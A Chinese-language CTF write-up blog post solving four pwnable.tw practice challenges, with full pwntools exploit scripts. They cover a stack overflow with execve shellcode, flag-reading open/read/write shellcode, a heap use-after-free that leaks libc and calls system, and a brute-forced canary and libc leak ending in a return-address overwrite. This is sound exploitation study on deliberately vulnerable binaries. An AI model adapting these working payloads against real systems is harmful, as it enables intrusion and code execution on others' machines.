某个大佬说过,pwnable.tw的题目rank比较高,要把这里的题目都刷一遍,才算是有基础可以进行漏洞挖掘,学pwn也快一年了,今天开始慢慢地把这里的题目一一进行复现,然后再去学习漏洞挖掘的相关知识,同时这里题目质量高,CTF的帮助应该也很大 ,加油吧,👶还期待着成为👴的那天
Start
这题在buu上做过,不细说了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
 
 p = remote("chall.pwnable.tw",10000)
 
 p.recvuntil("Let's start the CTF:")
 payload = 'a'*0x14 + p32(0x08048087)
 p.send(payload)
 addr = u32(p.recv(4)) + 0x14
 log.info(hex(addr))
 shellcode ='''
 xor eax,eax
 xor edx,edx
 push edx
 push 0x68732f2f
 push 0x6e69622f
 mov ebx,esp
 xor ecx,ecx
 mov al,0xB
 int 0x80
 '''
 shellcode = 'a'*0x14 + p32(addr) + asm(shellcode)
 p.send(shellcode)
 p.interactive()
 
 | 
orw
 image-20211109203654763
image-20211109203654763
checksec一下,32位,只开了Canary
 image-20211109203821716
image-20211109203821716
 image-20211109203905145
image-20211109203905145
程序很简单,开了个沙箱,然后就是输入shellcode,并且帮你执行。沙箱允许执行open、read、write
 image-20211109204349251
image-20211109204349251
 image-20211109204410933
image-20211109204410933
写入的地址也是可写可执行的,所以直接写入orw的shellcode执行即可,但是要注意,flag在/home/orw/flag,然后为了四字节对齐,可以写两个0x2f,毕竟两个//这个是没有影响的
 image-20211109205838679
image-20211109205838679
成功!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
 p = remote("chall.pwnable.tw",10001)
 p.recvuntil("Give my your shellcode:")
 shellcode = asm(
 '''
 push 0x0;
 push 0x67616c66;
 push 0x2f77726f;
 push 0x2f2f656d;
 push 0x6f682f2f;
 mov ebx,esp;
 xor ecx,ecx;
 xor edx,edx;
 mov eax,0x5;
 int 0x80
 
 mov ebx,eax;
 mov eax,0x3;
 mov ecx,esp;
 mov edx,0x50;
 int 0x80
 
 mov eax,0x4;
 mov ebx,0x1;
 int 0x80
 '''
 )
 p.send(shellcode)
 p.interactive()
 
 | 
hacknote
这题在BUU上也做过了,直接贴wp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | 
 from pwn import *
 context(arch = 'i386',os = 'linux',log_level = 'debug')
 elf = ELF("./hacknote")
 libc = ELF("./libc_32.so.6")
 p = remote("chall.pwnable.tw", 10102)
 def debug():
 gdb.attach(p,"b main")
 
 def add(size,content):
 p.sendlineafter("Your choice :",'1')
 p.recvuntil("Note size :")
 p.sendline(str(size))
 p.recvuntil("Content :")
 p.send(content)
 
 def show(idx):
 p.sendlineafter("Your choice :",'3')
 p.recvuntil("Index :")
 p.sendline(str(idx))
 
 def free(idx):
 p.sendlineafter("Your choice :",'2')
 p.recvuntil("Index :")
 p.sendline(str(idx))
 
 read_got = elf.got['read']
 puts = 0x804862b
 add(0x18,"aaaa")
 add(0x18,"bbbb")
 free(0)
 free(1)
 add(0x8, p32(puts) + p32(read_got))
 show(0)
 read = u32(p.recv(4))
 system = read - libc.symbols["read"] + libc.symbols["system"]
 success(hex(system))
 free(2)
 add(8, p32(system) + ";sh\x00")
 show(0)
 p.interactive()
 
 | 
BabyStack
checksec一下,64位,保护全开。
 image-20220314171650601
image-20220314171650601
程序只有两个输入点,一检查全都是不够溢出的,所以我猜测可能是栈比较近,可以引发strcpy不被 ‘\x00’ 截断,从而不断复制,导致溢出覆盖。
 image-20220314171712265
image-20220314171712265
 image-20220314171722608
image-20220314171722608
在gdb里调试了下,deadbeef是在login里面进行输入的内容,而8个b则是在copy功能里面输入的,可以看见,这两个输入是存在连续空间的,所以是可以在login里面输入好数据,让strcpy一直不断往下的复制,从而覆盖到返回地址。这里填入的deadbeef是通过’\x00’截断的,但是这显然是无用的,因为就算覆盖了返回地址,但是我们缺少了libc地址,也无法成功getshell,所以需要泄露地址,此时的login函数里面的漏洞就派上用场,可以进行由我们自主控制长度的进行不断地爆破,从而可以逐字节爆破存放在栈上的libc地址。
 image-20220313215126094
image-20220313215126094
 image-20220313225030746
image-20220313225030746
 image-20220313225146974
image-20220313225146974
这里是断点在strncmp函数处,两个红框是要比对的内容,下面的0x7f打头是要爆破的内容,我们自己在输入的字符串后面加’\x00’进行截断。
 image-20220314162654799
image-20220314162654799
最后就是这个memcmp,我一直不知道是干嘛的,直到触发了canary才反应过来去看下ida代码,发现这里是全程序中唯一个能触发出canary检查的地方,所以之前那个随机数也是要爆破出来的,之前一直以为不要爆破,只要爆破libc地址即可。
 image-20220314171506095
image-20220314171506095
本地打通,远程就不打了,因为远程卡,爆破比较多,很慢。远程只要注意把one_gadget换成给的libc的最后一个偏移即可
 image-20220314171309899
image-20220314171309899
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux',log_level = 'debug')
 elf = ELF("./babystack")
 libc = elf.libc
 p = process('./babystack')
 
 
 def login(rand_num):
 p.recvuntil('>> ')
 p.sendline('1')
 p.recvuntil("Your passowrd :")
 p.send(rand_num)
 
 def copy(content):
 p.recvuntil('>> ')
 p.sendline('3')
 p.recvuntil("Copy :")
 p.send(content)
 
 def logout():
 p.recvuntil('>> ')
 p.sendline('1')
 
 rand = ''
 for i in range(16):
 for j in range(1,256):
 login(rand + chr(j) + '\x00')
 if "Success" in p.recvline():
 rand += chr(j)
 logout()
 break
 print(rand)
 
 login('\x00' + 'a'*0x47)
 copy('b'*0x39)
 logout()
 string = 'a'*0x8
 for i in range(6):
 for j in range(1,256):
 login(string + chr(j) + '\x00')
 if "Success" in p.recvline():
 string += chr(j)
 logout()
 break
 libc = u64(string[-6:].ljust(8, '\x00')) - libc.sym["_IO_file_setbuf"] - 9
 print(hex(libc))
 
 ogg = libc + 0xf1247
 login('\x00' + 'a'*0x3f + rand + 'a'*0x18 + p64(ogg))
 copy('b'*0x39)
 p.recvuntil('>> ')
 p.sendline('2')
 
 p.interactive()
 
 |